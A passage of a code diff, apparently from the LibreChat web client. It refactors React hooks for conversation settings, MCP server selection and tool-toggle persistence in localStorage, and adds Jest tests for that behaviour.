if (!submissionHandledRef.current && pendingSubmitRef.current) {
- console.warn(
- 'Settings application timeout reached, proceeding with submission anyway',
+ logger.log(
+ 'conversation',
+ 'Settings application timeout, proceeding with submission',
);
processSubmission();
}
@@ -401,7 +327,7 @@ export default function useQueryParams({
submissionHandledRef.current = true;
}
- if (Object.keys(validSettings).length > 0) {
+ if (hasSettings && !areSettingsApplied()) {
newQueryConvo(validSettings);
}
@@ -424,6 +350,7 @@ export default function useQueryParams({
setSearchParams,
queryClient,
processSubmission,
+ areSettingsApplied,
]);
useEffect(() => {
@@ -438,9 +365,7 @@ export default function useQueryParams({
return;
}
- const allSettingsApplied = areSettingsApplied();
-
- if (allSettingsApplied) {
+ if (areSettingsApplied()) {
settingsAppliedRef.current = true;
if (pendingSubmitRef.current) {
@@ -449,7 +374,7 @@ export default function useQueryParams({
settingsTimeoutRef.current = null;
}
- console.log('Settings fully applied, processing submission');
+ logger.log('conversation', 'Settings fully applied, processing submission');
processSubmission();
}
}
diff --git a/client/src/hooks/Input/useSelectMention.ts b/client/src/hooks/Input/useSelectMention.ts
index 731302ff0a..00ba5095bb 100644
--- a/client/src/hooks/Input/useSelectMention.ts
+++ b/client/src/hooks/Input/useSelectMention.ts
@@ -22,19 +22,19 @@ import store from '~/store';
export default function useSelectMention({
presets,
modelSpecs,
- conversation,
assistantsMap,
returnHandlers,
endpointsConfig,
+ getConversation,
newConversation,
}: {
- conversation: TConversation | null;
presets?: TPreset[];
modelSpecs: TModelSpec[];
+ returnHandlers?: boolean;
assistantsMap?: TAssistantsMap;
newConversation: ConvoGenerator;
endpointsConfig: TEndpointsConfig;
- returnHandlers?: boolean;
+ getConversation: () => TConversation | null;
}) {
const getDefaultConversation = useDefaultConvo();
const modularChat = useRecoilValue(store.modularChat);
@@ -45,6 +45,8 @@ export default function useSelectMention({
if (!spec) {
return;
}
+
+ const conversation = getConversation();
const { preset } = spec;
preset.iconURL = getModelSpecIconURL(spec);
preset.spec = spec.name;
@@ -110,7 +112,7 @@ export default function useSelectMention({
});
},
[
- conversation,
+ getConversation,
getDefaultConversation,
modularChat,
newConversation,
@@ -133,6 +135,8 @@ export default function useSelectMention({
return;
}
+ const conversation = getConversation();
+
const {
shouldSwitch,
isNewModular,
@@ -202,7 +206,7 @@ export default function useSelectMention({
keepAddedConvos: isNewModular,
});
},
- [conversation, getDefaultConversation, modularChat, newConversation, endpointsConfig],
+ [getConversation, getDefaultConversation, modularChat, newConversation, endpointsConfig],
);
const onSelectPreset = useCallback(
@@ -211,6 +215,8 @@ export default function useSelectMention({
return;
}
+ const conversation = getConversation();
+
const newPreset = removeUnavailableTools(_newPreset, availableTools);
const newEndpoint = newPreset.endpoint ?? '';
@@ -266,7 +272,7 @@ export default function useSelectMention({
},
[
modularChat,
- conversation,
+ getConversation,
availableTools,
newConversation,
endpointsConfig,
diff --git a/client/src/hooks/Input/useTextarea.ts b/client/src/hooks/Input/useTextarea.ts
index 4eae002430..15b415dabc 100644
--- a/client/src/hooks/Input/useTextarea.ts
+++ b/client/src/hooks/Input/useTextarea.ts
@@ -42,8 +42,8 @@ export default function useTextarea({
const checkHealth = useInteractionHealthCheck();
const enterToSend = useRecoilValue(store.enterToSend);
- const { index, conversation, isSubmitting, filesLoading, latestMessage, setFilesLoading } =
- useChatContext();
+ const { index, conversation, isSubmitting, filesLoading, setFilesLoading } = useChatContext();
+ const latestMessage = useRecoilValue(store.latestMessageFamily(index));
const [activePrompt, setActivePrompt] = useRecoilState(store.activePromptByIndex(index));
const { endpoint = '' } = conversation || {};
diff --git a/client/src/hooks/MCP/__tests__/useMCPSelect.test.tsx b/client/src/hooks/MCP/__tests__/useMCPSelect.test.tsx
index 26595b611c..783f525b9c 100644
--- a/client/src/hooks/MCP/__tests__/useMCPSelect.test.tsx
+++ b/client/src/hooks/MCP/__tests__/useMCPSelect.test.tsx
@@ -415,7 +415,7 @@ describe('useMCPSelect', () => {
});
});
- it('should handle empty ephemeralAgent.mcp array correctly', async () => {
+ it('should clear mcpValues when ephemeralAgent.mcp is set to empty array', async () => {
// Create a shared wrapper
const { Wrapper, servers } = createWrapper(['initial-value']);
@@ -437,19 +437,21 @@ describe('useMCPSelect', () => {
expect(result.current.mcpHook.mcpValues).toEqual(['initial-value']);
});
- // Try to set empty array externally
+ // Set empty array externally (e.g., spec with no MCP servers)
act(() => {
result.current.setEphemeralAgent({
mcp: [],
});
});
- // Values should remain unchanged since empty mcp array doesn't trigger update
- // (due to the condition: ephemeralAgent?.mcp && ephemeralAgent.mcp.length > 0)
- expect(result.current.mcpHook.mcpValues).toEqual(['initial-value']);
+ // Jotai atom should be cleared — an explicit empty mcp array means
+ // the spec (or reset) has no MCP servers, so the visual selection must clear
+ await waitFor(() => {
+ expect(result.current.mcpHook.mcpValues).toEqual([]);
+ });
});
- it('should handle ephemeralAgent with clear mcp value', async () => {
+ it('should handle ephemeralAgent being reset to null', async () => {
// Create a shared wrapper
const { Wrapper, servers } = createWrapper(['server1', 'server2']);
@@ -471,16 +473,15 @@ describe('useMCPSelect', () => {
expect(result.current.mcpHook.mcpValues).toEqual(['server1', 'server2']);
});
- // Set ephemeralAgent with clear value
+ // Reset ephemeralAgent to null (simulating non-spec reset)
act(() => {
- result.current.setEphemeralAgent({
- mcp: [Constants.mcp_clear as string],
- });
+ result.current.setEphemeralAgent(null);
});
- // mcpValues should be cleared
+ // mcpValues should remain unchanged since null ephemeral agent
+ // doesn't trigger the sync effect (mcps.length === 0)
await waitFor(() => {
- expect(result.current.mcpHook.mcpValues).toEqual([]);
+ expect(result.current.mcpHook.mcpValues).toEqual(['server1', 'server2']);
});
});
@@ -590,6 +591,233 @@ describe('useMCPSelect', () => {
});
});
+ describe('Environment-Keyed Storage (storageContextKey)', () => {
+ it('should use storageContextKey as atom key for new conversations', async () => {
+ const { Wrapper, servers } = createWrapper(['server1', 'server2']);
+ const storageContextKey = '__defaults__';
+
+ // Hook A: new conversation with storageContextKey
+ const { result: resultA } = renderHook(
+ () => useMCPSelect({ conversationId: null, storageContextKey, servers }),
+ { wrapper: Wrapper },
+ );
+
+ act(() => {
+ resultA.current.setMCPValues(['server1']);
+ });
+
+ await waitFor(() => {
+ expect(resultA.current.mcpValues).toEqual(['server1']);
+ });
+
+ // Hook B: new conversation WITHOUT storageContextKey (different environment)
+ const { result: resultB } = renderHook(
+ () => useMCPSelect({ conversationId: null, servers }),
+ { wrapper: Wrapper },
+ );
+
+ // Should NOT see server1 since it's a different atom (NEW_CONVO vs __defaults__)
+ expect(resultB.current.mcpValues).toEqual([]);
+ });
+
+ it('should use conversationId as atom key for existing conversations even with storageContextKey', async () => {
+ const conversationId = 'existing-convo-123';
+ const { Wrapper, servers } = createWrapper(['server1', 'server2']);
+ const storageContextKey = '__defaults__';
+
+ const { result } = renderHook(
+ () => useMCPSelect({ conversationId, storageContextKey, servers }),
+ { wrapper: Wrapper },
+ );
+
+ act(() => {
+ result.current.setMCPValues(['server1', 'server2']);
+ });
+
+ await waitFor(() => {
+ expect(result.current.mcpValues).toEqual(['server1', 'server2']);
+ });
+
+ // Verify timestamp was written to the conversation key, not the environment key
+ const convoKey = `${LocalStorageKeys.LAST_MCP_}${conversationId}`;
+ expect(setTimestamp).toHaveBeenCalledWith(convoKey);
+ });
+
+ it('should dual-write to environment key when storageContextKey is provided', async () => {
+ const { Wrapper, servers } = createWrapper(['server1', 'server2']);
+ const storageContextKey = '__defaults__';
+
+ const { result } = renderHook(
+ () => useMCPSelect({ conversationId: null, storageContextKey, servers }),
+ { wrapper: Wrapper },
+ );
+
+ act(() => {
+ result.current.setMCPValues(['server1', 'server2']);
+ });
+
+ await waitFor(() => {
+ // Verify dual-write to environment key
+ const envKey = `${LocalStorageKeys.LAST_MCP_}${storageContextKey}`;
+ expect(localStorage.getItem(envKey)).toEqual(JSON.stringify(['server1', 'server2']));
+ expect(setTimestamp).toHaveBeenCalledWith(envKey);
+ });
+ });
+
+ it('should NOT dual-write when storageContextKey is undefined', async () => {
+ const conversationId = 'convo-no-specs';
+ const { Wrapper, servers } = createWrapper(['server1']);
+
+ const { result } = renderHook(() => useMCPSelect({ conversationId, servers }), {
+ wrapper: Wrapper,
+ });
+
+ act(() => {
+ result.current.setMCPValues(['server1']);
+ });
+
+ await waitFor(() => {
+ expect(result.current.mcpValues).toEqual(['server1']);
+ });
+
+ // Only the conversation-keyed timestamp should be set, no environment key
+ const envKey = `${LocalStorageKeys.LAST_MCP_}__defaults__`;
+ expect(localStorage.getItem(envKey)).toBeNull();
+ });
+
+ it('should isolate per-conversation state from environment defaults', async () => {
+ const { Wrapper, servers } = createWrapper(['server1', 'server2', 'server3']);
+ const storageContextKey = '__defaults__';
+
+ // Set environment defaults via new conversation
+ const { result: newConvoResult } = renderHook(
+ () => useMCPSelect({ conversationId: null, storageContextKey, servers }),
+ { wrapper: Wrapper },
+ );
+
+ act(() => {
+ newConvoResult.current.setMCPValues(['server1', 'server2']);
+ });
+
+ await waitFor(() => {
+ expect(newConvoResult.current.mcpValues).toEqual(['server1', 'server2']);
+ });
+
+ // Existing conversation should have its own isolated state
+ const { result: existingResult } = renderHook(
+ () => useMCPSelect({ conversationId: 'existing-convo', storageContextKey, servers }),
+ { wrapper: Wrapper },
+ );
+
+ // Should start empty (its own atom), not inherit from defaults
+ expect(existingResult.current.mcpValues).toEqual([]);
+
+ // Set different value for existing conversation
+ act(() => {
+ existingResult.current.setMCPValues(['server3']);
+ });
+
+ await waitFor(() => {
+ expect(existingResult.current.mcpValues).toEqual(['server3']);
+ });
+
+ // New conversation defaults should be unchanged
+ expect(newConvoResult.current.mcpValues).toEqual(['server1', 'server2']);
+ });
+ });
+
+ describe('Spec/Non-Spec Context Switching', () => {
+ it('should clear MCP when ephemeral agent switches to empty mcp (spec with no MCP)', async () => {
+ const { Wrapper, servers } = createWrapper(['server1', 'server2']);
+ const storageContextKey = '__defaults__';
+
+ const TestComponent = ({ ctxKey }: { ctxKey?: string }) => {
+ const mcpHook = useMCPSelect({ conversationId: null, storageContextKey: ctxKey, servers });
+ const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(Constants.NEW_CONVO));
+ return { mcpHook, setEphemeralAgent };
+ };
+
+ // Start in non-spec context with some servers selected
+ const { result } = renderHook(() => TestComponent({ ctxKey: storageContextKey }), {
+ wrapper: Wrapper,
+ });
+
+ act(() => {
+ result.current.mcpHook.setMCPValues(['server1', 'server2']);
+ });
+
+ await waitFor(() => {
+ expect(result.current.mcpHook.mcpValues).toEqual(['server1', 'server2']);
+ });
+
+ // Simulate switching to a spec with no MCP — ephemeral agent gets mcp: []
+ act(() => {
+ result.current.setEphemeralAgent({ mcp: [] });
+ });
+
+ // MCP values should clear since the spec explicitly has no MCP servers
+ await waitFor(() => {
+ expect(result.current.mcpHook.mcpValues).toEqual([]);
+ });
+ });
+
+ it('should handle ephemeral agent with spec MCP servers syncing to Jotai atom', async () => {
+ const { Wrapper, servers } = createWrapper(['spec-server1', 'spec-server2']);
+
+ const TestComponent = () => {
+ const mcpHook = useMCPSelect({ conversationId: null, servers });
+ const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(Constants.NEW_CONVO));
+ return { mcpHook, setEphemeralAgent };
+ };
+
+ const { result } = renderHook(() => TestComponent(), { wrapper: Wrapper });
+
+ // Simulate spec application setting ephemeral agent MCP
+ act(() => {
+ result.current.setEphemeralAgent({
+ mcp: ['spec-server1', 'spec-server2'],
+ execute_code: true,
+ });
+ });
+
+ await waitFor(() => {
+ expect(result.current.mcpHook.mcpValues).toEqual(['spec-server1', 'spec-server2']);
+ });
+ });
+
+ it('should handle null ephemeral agent reset (non-spec with specs configured)', async () => {
+ const { Wrapper, servers } = createWrapper(['server1', 'server2']);
+
+ const TestComponent = () => {
+ const mcpHook = useMCPSelect({ servers });
+ const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(Constants.NEW_CONVO));
+ return { mcpHook, setEphemeralAgent };
+ };
+
+ const { result } = renderHook(() => TestComponent(), { wrapper: Wrapper });
+
+ // Set values from a spec
+ act(() => {
+ result.current.setEphemeralAgent({ mcp: ['server1', 'server2'] });
+ });
+
+ await waitFor(() => {
+ expect(result.current.mcpHook.mcpValues).toEqual(['server1', 'server2']);
+ });
+
+ // Reset ephemeral agent to null (switching to non-spec)
+ act(() => {
+ result.current.setEphemeralAgent(null);
+ });
+
+ // mcpValues should remain unchanged — null ephemeral agent doesn't trigger sync
+ // (BadgeRowContext will fill from localStorage defaults separately)
+ await waitFor(() => {
+ expect(result.current.mcpHook.mcpValues).toEqual(['server1', 'server2']);
+ });
+ });
+ });
+
describe('Memory Leak Prevention', () => {
it('should not leak memory on repeated updates', async () => {
const values = Array.from({ length: 100 }, (_, i) => `value-${i}`);
diff --git a/client/src/hooks/MCP/useMCPSelect.ts b/client/src/hooks/MCP/useMCPSelect.ts
index ec9dfe0bbb..b15786f678 100644
--- a/client/src/hooks/MCP/useMCPSelect.ts
+++ b/client/src/hooks/MCP/useMCPSelect.ts
@@ -9,9 +9,11 @@ import { MCPServerDefinition } from './useMCPServerManager';
export function useMCPSelect({
conversationId,
+ storageContextKey,
servers,
}: {
conversationId?: string | null;
+ storageContextKey?: string;
servers: MCPServerDefinition[];
}) {
const key = conversationId ?? Constants.NEW_CONVO;
@@ -19,47 +21,61 @@ export function useMCPSelect({
return new Set(servers?.map((s) => s.serverName));
}, [servers]);
+ /**
+ * For new conversations, key the MCP atom by environment (spec or defaults)
+ * so switching between spec ↔ non-spec gives each its own atom.
+ * For existing conversations, key by conversation ID for per-conversation isolation.
+ */
+ const isNewConvo = key === Constants.NEW_CONVO;
+ const mcpAtomKey = isNewConvo && storageContextKey ? storageContextKey : key;
+
const [isPinned, setIsPinned] = useAtom(mcpPinnedAtom);
- const [mcpValues, setMCPValuesRaw] = useAtom(mcpValuesAtomFamily(key));
+ const [mcpValues, setMCPValuesRaw] = useAtom(mcpValuesAtomFamily(mcpAtomKey));
const [ephemeralAgent, setEphemeralAgent] = useRecoilState(ephemeralAgentByConvoId(key));
- // Sync Jotai state with ephemeral agent state
+ // Sync ephemeral agent MCP → Jotai atom (strip unconfigured servers)
useEffect(() => {
- const mcps = ephemeralAgent?.mcp ?? [];
- if (mcps.length === 1 && mcps[0] === Constants.mcp_clear) {
- setMCPValuesRaw([]);
- } else if (mcps.length > 0) {
- // Strip out servers that are not available in the startup config
+ const mcps = ephemeralAgent?.mcp;
+ if (Array.isArray(mcps) && mcps.length > 0 && configuredServers.size > 0) {
const activeMcps = mcps.filter((mcp) => configuredServers.has(mcp));
- setMCPValuesRaw(activeMcps);
- }
- }, [ephemeralAgent?.mcp, setMCPValuesRaw, configuredServers]);
-
- useEffect(() => {
- setEphemeralAgent((prev) => {
- if (!isEqual(prev?.mcp, mcpValues)) {
- return { ...(prev ?? {}), mcp: mcpValues };
+ if (!isEqual(activeMcps, mcpValues)) {
+ setMCPValuesRaw(activeMcps);
}
- return prev;
- });
- }, [mcpValues, setEphemeralAgent]);
+ } else if (Array.isArray(mcps) && mcps.length === 0 && mcpValues.length > 0) {
+ // Ephemeral agent explicitly has empty MCP (e.g., spec with no MCP servers) — clear atom
+ setMCPValuesRaw([]);
+ }
+ }, [ephemeralAgent?.mcp, setMCPValuesRaw, configuredServers, mcpValues]);
+ // Write timestamp when MCP values change
useEffect(() => {
- const mcpStorageKey = `${LocalStorageKeys.LAST_MCP_}${key}`;
+ const mcpStorageKey = `${LocalStorageKeys.LAST_MCP_}${mcpAtomKey}`;
if (mcpValues.length > 0) {
setTimestamp(mcpStorageKey);
}
- }, [mcpValues, key]);
+ }, [mcpValues, mcpAtomKey]);
- /** Stable memoized setter */
+ /** Stable memoized setter with dual-write to environment key */
const setMCPValues = useCallback(
(value: string[]) => {
if (!Array.isArray(value)) {
return;
}
setMCPValuesRaw(value);
+ setEphemeralAgent((prev) => {
+ if (!isEqual(prev?.mcp, value)) {
+ return { ...(prev ?? {}), mcp: value };
+ }
+ return prev;
+ });
+ // Dual-write to environment key for new conversation defaults
+ if (storageContextKey) {
+ const envKey = `${LocalStorageKeys.LAST_MCP_}${storageContextKey}`;
+ localStorage.setItem(envKey, JSON.stringify(value));
+ setTimestamp(envKey);
+ }
},
- [setMCPValuesRaw],
+ [setMCPValuesRaw, setEphemeralAgent, storageContextKey],
);
return {
diff --git a/client/src/hooks/MCP/useMCPServerManager.ts b/client/src/hooks/MCP/useMCPServerManager.ts
index bb5214be7c..af65ba4507 100644
--- a/client/src/hooks/MCP/useMCPServerManager.ts
+++ b/client/src/hooks/MCP/useMCPServerManager.ts
@@ -28,7 +28,10 @@ export interface MCPServerDefinition {
// The init states (isInitializing, isCancellable, etc.) are stored in the global Jotai atom
type PollIntervals = Record;
-export function useMCPServerManager({ conversationId }: { conversationId?: string | null } = {}) {
+export function useMCPServerManager({
+ conversationId,
+ storageContextKey,
+}: { conversationId?: string | null; storageContextKey?: string } = {}) {
const localize = useLocalize();
const queryClient = useQueryClient();
const { showToast } = useToastContext();
@@ -73,6 +76,7 @@ export function useMCPServerManager({ conversationId }: { conversationId?: strin
const { mcpValues, setMCPValues, isPinned, setIsPinned } = useMCPSelect({
conversationId,
+ storageContextKey,
servers: selectableServers,
});
const mcpValuesRef = useRef(mcpValues);
@@ -429,33 +433,6 @@ export function useMCPServerManager({ conversationId }: { conversationId?: strin
[startupConfig?.interface?.mcpServers?.placeholder, localize],
);
- const batchToggleServers = useCallback(
- (serverNames: string[]) => {
- const connectedServers: string[] = [];
- const disconnectedServers: string[] = [];
-
- serverNames.forEach((serverName) => {
- if (isInitializing(serverName)) {
- return;
- }
-
- const serverStatus = connectionStatus?.[serverName];
- if (serverStatus?.connectionState === 'connected') {
- connectedServers.push(serverName);
- } else {
- disconnectedServers.push(serverName);
- }
- });
-
- setMCPValues(connectedServers);
-
- disconnectedServers.forEach((serverName) => {
- initializeServer(serverName);
- });
- },
- [connectionStatus, setMCPValues, initializeServer, isInitializing],
- );
-
const toggleServerSelection = useCallback(
(serverName: string) => {
if (isInitializing(serverName)) {
@@ -469,15 +446,10 @@ export function useMCPServerManager({ conversationId }: { conversationId?: strin
const filteredValues = currentValues.filter((name) => name !== serverName);
setMCPValues(filteredValues);
} else {
- const serverStatus = connectionStatus?.[serverName];
- if (serverStatus?.connectionState === 'connected') {
- setMCPValues([...currentValues, serverName]);
- } else {
- initializeServer(serverName);
- }
+ setMCPValues([...currentValues, serverName]);
}
},
- [mcpValues, setMCPValues, connectionStatus, initializeServer, isInitializing],
+ [mcpValues, setMCPValues, isInitializing],
);
const handleConfigSave = useCallback(
@@ -673,7 +645,6 @@ export function useMCPServerManager({ conversationId }: { conversationId?: strin
isPinned,
setIsPinned,
placeholderText,
- batchToggleServers,
toggleServerSelection,
localize,
diff --git a/client/src/hooks/Mermaid/useMermaid.ts b/client/src/hooks/Mermaid/useMermaid.ts
index 26e195e401..31957dce36 100644
--- a/client/src/hooks/Mermaid/useMermaid.ts
+++ b/client/src/hooks/Mermaid/useMermaid.ts
@@ -1,9 +1,10 @@
import { useContext, useMemo, useState } from 'react';
-import DOMPurify from 'dompurify';
import useSWR from 'swr';
import { Md5 } from 'ts-md5';
+import DOMPurify from 'dompurify';
import { ThemeContext, isDark } from '@librechat/client';
import type { MermaidConfig } from 'mermaid';
+import { inlineFlowchartConfig } from '~/utils/mermaid';
// Constants
const MD5_LENGTH_THRESHOLD = 10_000;
@@ -85,12 +86,12 @@ export const useMermaid = ({
return {
startOnLoad: false,
theme: (customTheme as MermaidConfig['theme']) || defaultTheme,
- // Spread custom config but override security settings after
...config,
- // Security hardening - these MUST come last to prevent override
- securityLevel: 'strict', // Highest security: disables click, sanitizes text
- maxTextSize: config?.maxTextSize ?? 50000, // Limit text size to prevent DoS
- maxEdges: config?.maxEdges ?? 500, // Limit edges to prevent DoS
+ flowchart: { ...inlineFlowchartConfig, ...config?.flowchart, htmlLabels: false },
+ // Security hardening: MUST come after ...config spread to prevent override
+ securityLevel: 'strict',
+ maxTextSize: config?.maxTextSize ?? 50000,
+ maxEdges: config?.maxEdges ?? 500,
};
}, [customTheme, isDarkMode, config]);
diff --git a/client/src/hooks/Messages/useMessageActions.tsx b/client/src/hooks/Messages/useMessageActions.tsx
index c168b16d6e..e8946b895b 100644
--- a/client/src/hooks/Messages/useMessageActions.tsx
+++ b/client/src/hooks/Messages/useMessageActions.tsx
@@ -31,8 +31,16 @@ export default function useMessageActions(props: TMessageActions) {
const UsernameDisplay = useRecoilValue(store.UsernameDisplay);
const { message, currentEditId, setCurrentEditId, searchResults } = props;
- const { ask, index, regenerate, isSubmitting, conversation, latestMessage, handleContinue } =
- useChatContext();
+ const {
+ ask,
+ index,
+ regenerate,
+ isSubmitting,
+ conversation,
+ latestMessageId,
+ latestMessageDepth,
+ handleContinue,
+ } = useChatContext();
const getAddedConvo = useGetAddedConvo();
@@ -154,10 +162,11 @@ export default function useMessageActions(props: TMessageActions) {
enterEdit,
conversation,
messageLabel,
- latestMessage,
handleFeedback,
handleContinue,
copyToClipboard,
+ latestMessageId,
regenerateMessage,
+ latestMessageDepth,
};
}
diff --git a/client/src/hooks/Messages/useMessageHelpers.tsx b/client/src/hooks/Messages/useMessageHelpers.tsx
index 0ecf5c684a..0453e4a49c 100644
--- a/client/src/hooks/Messages/useMessageHelpers.tsx
+++ b/client/src/hooks/Messages/useMessageHelpers.tsx
@@ -17,9 +17,9 @@ export default function useMessageHelpers(props: TMessageProps) {
regenerate,
isSubmitting,
conversation,
- latestMessage,
setAbortScroll,
handleContinue,
+ latestMessageId,
setLatestMessage,
} = useMessagesViewContext();
const agentsMap = useAgentsMapContext();
@@ -141,8 +141,8 @@ export default function useMessageHelpers(props: TMessageProps) {
conversation,
isSubmitting,
handleScroll,
- latestMessage,
handleContinue,
+ latestMessageId,
copyToClipboard,
regenerateMessage,
};
diff --git a/client/src/hooks/Messages/useSubmitMessage.ts b/client/src/hooks/Messages/useSubmitMessage.ts
index fcf92d3eef..d924e3b987 100644
--- a/client/src/hooks/Messages/useSubmitMessage.ts
+++ b/client/src/hooks/Messages/useSubmitMessage.ts
@@ -9,7 +9,8 @@ export default function useSubmitMessage() {
const { user } = useAuthContext();
const methods = useChatFormContext();
const { conversation: addedConvo } = useAddedChatContext();
- const { ask, index, getMessages, setMessages, latestMessage } = useChatContext();
+ const { ask, index, getMessages, setMessages } = useChatContext();
+ const latestMessage = useRecoilValue(store.latestMessageFamily(index));
const autoSendPrompts = useRecoilValue(store.autoSendPrompts);
const setActivePrompt = useSetRecoilState(store.activePromptByIndex(index));
diff --git a/client/src/hooks/Plugins/__tests__/useToolToggle.test.tsx b/client/src/hooks/Plugins/__tests__/useToolToggle.test.tsx
new file mode 100644
index 0000000000..f617db2249
--- /dev/null
+++ b/client/src/hooks/Plugins/__tests__/useToolToggle.test.tsx
@@ -0,0 +1,328 @@
+import React from 'react';
+import { renderHook, act, waitFor } from '@testing-library/react';
+import { LocalStorageKeys, Tools } from 'librechat-data-provider';
+import { RecoilRoot, useRecoilValue, useSetRecoilState } from 'recoil';
+import { ephemeralAgentByConvoId } from '~/store';
+import { useToolToggle } from '../useToolToggle';
+
+/**
+ * Tests for useToolToggle — the hook responsible for toggling tool badges
+ * (code execution, web search, file search, artifacts) and persisting state.
+ *
+ * Desired behaviors:
+ * - User toggles persist to per-conversation localStorage
+ * - In non-spec mode with specs configured (storageContextKey = '__defaults__'),
+ * toggles ALSO persist to the defaults key so future new conversations inherit them
+ * - In spec mode (storageContextKey = undefined), toggles only persist per-conversation
+ * - The hook reflects the current ephemeral agent state
+ */
+
+// Mock data-provider auth query
+jest.mock('~/data-provider', () => ({
+ useVerifyAgentToolAuth: jest.fn().mockReturnValue({
+ data: { authenticated: true },
+ }),
+}));
+
+// Mock timestamps (track calls without actual localStorage timestamp logic)
+jest.mock('~/utils/timestamps', () => ({
+ setTimestamp: jest.fn(),
+}));
+
+// Mock useLocalStorageAlt (isPinned state — not relevant to our behavior tests)
+jest.mock('~/hooks/useLocalStorageAlt', () => jest.fn(() => [false, jest.fn()]));
+
+const Wrapper: React.FC<{ children: React.ReactNode }> = ({ children }) => (
+ {children}
+);
+
+describe('useToolToggle', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ localStorage.clear();
+ });
+
+ // ─── Dual-Write Behavior ───────────────────────────────────────────
+
+ describe('non-spec mode: dual-write to defaults key', () => {
+ const storageContextKey = '__defaults__';
+
+ it('should write to both conversation key and defaults key when user toggles a tool', () => {
+ const conversationId = 'convo-123';
+ const { result } = renderHook(
+ () =>
+ useToolToggle({
+ conversationId,
+ storageContextKey,
+ toolKey: Tools.execute_code,
+ localStorageKey: LocalStorageKeys.LAST_CODE_TOGGLE_,
+ isAuthenticated: true,
+ }),
+ { wrapper: Wrapper },
+ );
+
+ act(() => {
+ result.current.handleChange({ value: true });
+ });
+
+ // Conversation key: per-conversation persistence
+ const convoKey = `${LocalStorageKeys.LAST_CODE_TOGGLE_}${conversationId}`;
+ // Defaults key: persists for future new conversations
+ const defaultsKey = `${LocalStorageKeys.LAST_CODE_TOGGLE_}${storageContextKey}`;
+
+ // Sync effect writes to conversation key
+ expect(localStorage.getItem(convoKey)).toBe(JSON.stringify(true));
+ // handleChange dual-writes to defaults key
+ expect(localStorage.getItem(defaultsKey)).toBe(JSON.stringify(true));
+ });
+
+ it('should persist false values to defaults key when user disables a tool', () => {
+ const { result } = renderHook(
+ () =>
+ useToolToggle({
+ conversationId: 'convo-456',
+ storageContextKey,
+ toolKey: Tools.web_search,
+ localStorageKey: LocalStorageKeys.LAST_WEB_SEARCH_TOGGLE_,
+ isAuthenticated: true,
+ }),
+ { wrapper: Wrapper },
+ );
+
+ // Enable then disable
+ act(() => {
+ result.current.handleChange({ value: true });
+ });
+ act(() => {
+ result.current.handleChange({ value: false });
+ });
+
+ const defaultsKey = `${LocalStorageKeys.LAST_WEB_SEARCH_TOGGLE_}${storageContextKey}`;
+ expect(localStorage.getItem(defaultsKey)).toBe(JSON.stringify(false));
+ });
+ });
+
+ describe('spec mode: no dual-write', () => {
+ it('should only write to conversation key, not to any defaults key', () => {
+ const conversationId = 'spec-convo-789';
+ const { result } = renderHook(
+ () =>
+ useToolToggle({
+ conversationId,
+ storageContextKey: undefined, // spec mode
+ toolKey: Tools.execute_code,
+ localStorageKey: LocalStorageKeys.LAST_CODE_TOGGLE_,
+ isAuthenticated: true,
+ }),
+ { wrapper: Wrapper },
+ );
+
+ act(() => {
+ result.current.handleChange({ value: true });
+ });
+
+ // Conversation key should have the value
+ const convoKey = `${LocalStorageKeys.LAST_CODE_TOGGLE_}${conversationId}`;
+ expect(localStorage.getItem(convoKey)).toBe(JSON.stringify(true));
+
+ // Defaults key should NOT have a value
+ const defaultsKey = `${LocalStorageKeys.LAST_CODE_TOGGLE_}__defaults__`;
+ expect(localStorage.getItem(defaultsKey)).toBeNull();
+ });
+ });
+
+ // ─── Per-Conversation Isolation ────────────────────────────────────
+
+ describe('per-conversation isolation', () => {
+ it('should maintain separate toggle state per conversation', () => {
+ const TestComponent = ({ conversationId }: { conversationId: string }) => {
+ const toggle = useToolToggle({
+ conversationId,
+ toolKey: Tools.execute_code,
+ localStorageKey: LocalStorageKeys.LAST_CODE_TOGGLE_,
+ isAuthenticated: true,
+ });
+ const ephemeralAgent = useRecoilValue(ephemeralAgentByConvoId(conversationId));
+ return { toggle, ephemeralAgent };
+ };
+
+ // Conversation A: enable code
+ const { result: resultA } = renderHook(() => TestComponent({ conversationId: 'convo-A' }), {
+ wrapper: Wrapper,
+ });
+
+ act(() => {
+ resultA.current.toggle.handleChange({ value: true });
+ });
+
+ // Conversation B: disable code
+ const { result: resultB } = renderHook(() => TestComponent({ conversationId: 'convo-B' }), {
+ wrapper: Wrapper,
+ });
+
+ act(() => {
+ resultB.current.toggle.handleChange({ value: false });
+ });
+
+ // Each conversation has its own value in localStorage
+ expect(localStorage.getItem(`${LocalStorageKeys.LAST_CODE_TOGGLE_}convo-A`)).toBe('true');
+ expect(localStorage.getItem(`${LocalStorageKeys.LAST_CODE_TOGGLE_}convo-B`)).toBe('false');
+ });
+ });
+
+ // ─── Ephemeral Agent Sync ──────────────────────────────────────────
+
+ describe('ephemeral agent reflects toggle state', () => {
+ it('should update ephemeral agent when user toggles a tool', async () => {
+ const conversationId = 'convo-sync-test';
+ const TestComponent = () => {
+ const toggle = useToolToggle({
+ conversationId,
+ toolKey: Tools.execute_code,
+ localStorageKey: LocalStorageKeys.LAST_CODE_TOGGLE_,
+ isAuthenticated: true,
+ });
+ const ephemeralAgent = useRecoilValue(ephemeralAgentByConvoId(conversationId));
+ return { toggle, ephemeralAgent };
+ };
+
+ const { result } = renderHook(() => TestComponent(), { wrapper: Wrapper });
+
+ act(() => {
+ result.current.toggle.handleChange({ value: true });
+ });
+
+ await waitFor(() => {
+ expect(result.current.ephemeralAgent?.execute_code).toBe(true);
+ });
+
+ act(() => {
+ result.current.toggle.handleChange({ value: false });
+ });
+
+ await waitFor(() => {
+ expect(result.current.ephemeralAgent?.execute_code).toBe(false);
+ });
+ });
+
+ it('should reflect external ephemeral agent changes in toolValue', async () => {
+ const conversationId = 'convo-external';
+ const TestComponent = () => {
+ const toggle = useToolToggle({
+ conversationId,
+ toolKey: Tools.web_search,
+ localStorageKey: LocalStorageKeys.LAST_WEB_SEARCH_TOGGLE_,
+ isAuthenticated: true,
+ });
+ const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(conversationId));
+ return { toggle, setEphemeralAgent };
+ };
+
+ const { result } = renderHook(() => TestComponent(), { wrapper: Wrapper });
+
+ // External update (e.g., from applyModelSpecEphemeralAgent)
+ act(() => {
